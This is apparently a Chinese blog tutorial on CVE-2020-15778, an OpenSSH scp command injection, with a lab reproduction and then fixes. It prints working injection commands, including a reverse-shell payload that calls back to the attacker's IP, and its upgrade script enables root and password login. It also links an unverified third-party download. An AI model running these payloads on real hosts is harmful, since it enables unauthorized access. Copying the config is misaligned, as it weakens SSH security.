OpenSSH_8.3及以下-命令注入漏洞攻击与修复
漏洞:CVE-2020-15778
2020年6月9日发现漏洞,2020年7月18日公开漏洞。
攻击原理
使用SCP中远程功能进行命令注入。
漏洞复现要求
OpenSSH版本 =<8.3p1
ssh连接密码
攻击环境
攻击方:kali:192.168.0.130
靶机: CentOS7:192.168.0.187
攻击测试
kali:
上传任意文件到靶机上,文件允许为空,因为上传的文件不是主角。而是``里面的命令作为注入点进行攻击。
scp dic.txt [email protected]:'`touch /tmp/test.txt` /tmp'
命令解读:使用scp将本地文件dic.txt
上传到服务器[email protected]
的/tmp
文件夹,使用``括起来的touch /tmp/test.txt
就是注入的命令,会生成一个新的文件test.txt
。
靶机:
靶机查看/tmp
目录下的文件:
[root@localhost tmp]# ls
dic.txt test.txt
这样就实现了远程命令的执行。
GetShell
kali:
使用命令获取靶机的权限。
#使用一个窗口开启nc进行监听
nc -lvvp 7777
#开启另一个窗口,上传反弹shell的命令
scp dic.txt [email protected]:'`bash -i >& /dev/tcp/192.168.0.130/7777 0>&1`/tmp/attack.txt'
运行监听:
上传注入命令:
查看监听结果:
可以执行命令,并且获取响应的信息。
攻击总结
漏洞复现简单,但是需要知道ssh密码。主要针对已知ssh密码,但没有访问权限/登录权限的攻击
。
防御方式
关闭网段访问
修改配置文件/etc/hosts.allow
使用如下的格式添加ssh访问权限:
sshd:192.168.0.158:allow #允许IP地址为192.168.0.158的主机使用ssh连接
sshd:192.168.0.*:allow #允许IP地址段为:192.168.0.0/24的主机使用ssh连接
sshd:all:deny #拒绝除允许地址之外的所有主机使用ssh连接
此方法主要用于拒绝靶机进行远程ssh登录,提高ssh登录安全性。
升级openssh到openssh8.4p1版本
通过shell脚本运行:
#!/bin/bash
#更新ssh服务脚本
#下载
function download()
{
##下载-将函数内部命令复制到命令行执行
echo "正在获取安装包..."
echo "获取openssh..."
wget https://openbsd.hk/pub/OpenBSD/OpenSSH/portable/openssh-8.4p1.tar.gz
echo "获取openssl..."
wget https://www.openssl.org/source/openssl-1.1.1g.tar.gz
echo "获取zlib..."
wget http://www.zlib.net/zlib-1.2.11.tar.gz
}
echo "请确保脚本与以下文件在同一文件夹:zlib-1.2.11.tar.gz、openssh-8.4p1.tar.gz、openssl-1.1.1g.tar.gz"
echo "如果没有上述文件,请中断(Ctrl+C)脚本。使用编辑器打开本文件,头部有下载方法"
sleep 1
echo "[========> ] 33%"
sleep 1
echo "[================> ] 66%"
sleep 1
echo "[========================> ] 99%"
sleep 1
#解压
echo -e "\033[1;32m 解压安装包 \033[0m"
tar --no-same-owner -zxvf zlib-1.2.11.tar.gz
tar --no-same-owner -zxvf openssh-8.4p1.tar.gz
tar --no-same-owner -zxvf openssl-1.1.1g.tar.gz
#安装zlib
echo -e "\033[1;32m 编译安装 zlib \033[0m"
cd zlib-1.2.11
echo -e "\033[1;32m Now palying : `pwd` \033[0m"
./configure --prefix=/usr/local/zlib
make && make install
sleep 1
#安装openssl
echo ""
echo -e "\033[1;32m 编译安装openssl \033[0m"
cd ../openssl-1.1.1g
echo -e "\033[1;32m Now palying : `pwd` \033[0m"
./config --prefix=/usr/local/ssl --shared
make && make install
echo '/usr/local/ssl/lib' >> /etc/ld.so.conf
ldconfig -v
sleep 1
#安装openssh
echo ""
echo -e "\033[1;32m 编译安装openssh \033[0m"
cd ../openssh-8.4p1
echo -e "\033[1;32m Now palying : `pwd` \033[0m"
./configure --prefix=/usr/local/openssh --with-zlib=/usr/local/zlib --with-ssl-dir=/usr/local/ssl
make && make install
sleep 1
#修改配置文件
echo -e "\033[1;32m 修改ssh配置文件 \033[0m"
echo 'PermitRootLogin yes' >>/usr/local/openssh/etc/sshd_config
echo 'PubkeyAuthentication yes' >>/usr/local/openssh/etc/sshd_config
echo 'PasswordAuthentication yes' >>/usr/local/openssh/etc/sshd_config
#备份原有文件
echo -e "\033[1;32m 备份与修改bin与keygen文件 \033[0m"
systemctl stop sshd
mv /etc/ssh /etc/ssh.bak
mkdir /etc/ssh
cp -rf /usr/local/openssh/etc/* /etc/ssh/
mv /usr/sbin/sshd /usr/sbin/sshd.bak
cp /usr/local/openssh/sbin/sshd /usr/sbin/sshd
mv /usr/bin/ssh /usr/bin/ssh.bak
cp /usr/local/openssh/bin/ssh /usr/bin/ssh
mv /usr/bin/ssh-keygen /usr/bin/ssh-keygen.bak
cp /usr/local/openssh/bin/ssh-keygen /usr/bin/ssh-keygen
#重启服务
echo -e "\033[1;32m 重启服务 \033[0m"
mv /lib/systemd/system/sshd.service .
systemctl daemon-reload
cp ./contrib/redhat/sshd.init /etc/init.d/sshd
/etc/init.d/sshd start
systemctl status sshd
echo -e "\033[1;32m ssh服务更新完成,目前版本"
ssh -V
echo -e "##########\033[0m"
或者直接下载
下载链接:
链接: https://pan.baidu.com/s/14aegreBtRdH1BShyohEwXw
提取码: c47t ,复制这段内容后打开百度网盘手机App,操作更方便哦
使用命令:
tar -zxvf ssh_update.tar.gz
cd ssh_update/
bash ssh-update.sh
安装成功查看版本:
[root@localhost ssh_update]# ssh -V
OpenSSH_8.4p1, OpenSSL 1.1.1g 21 Apr 2020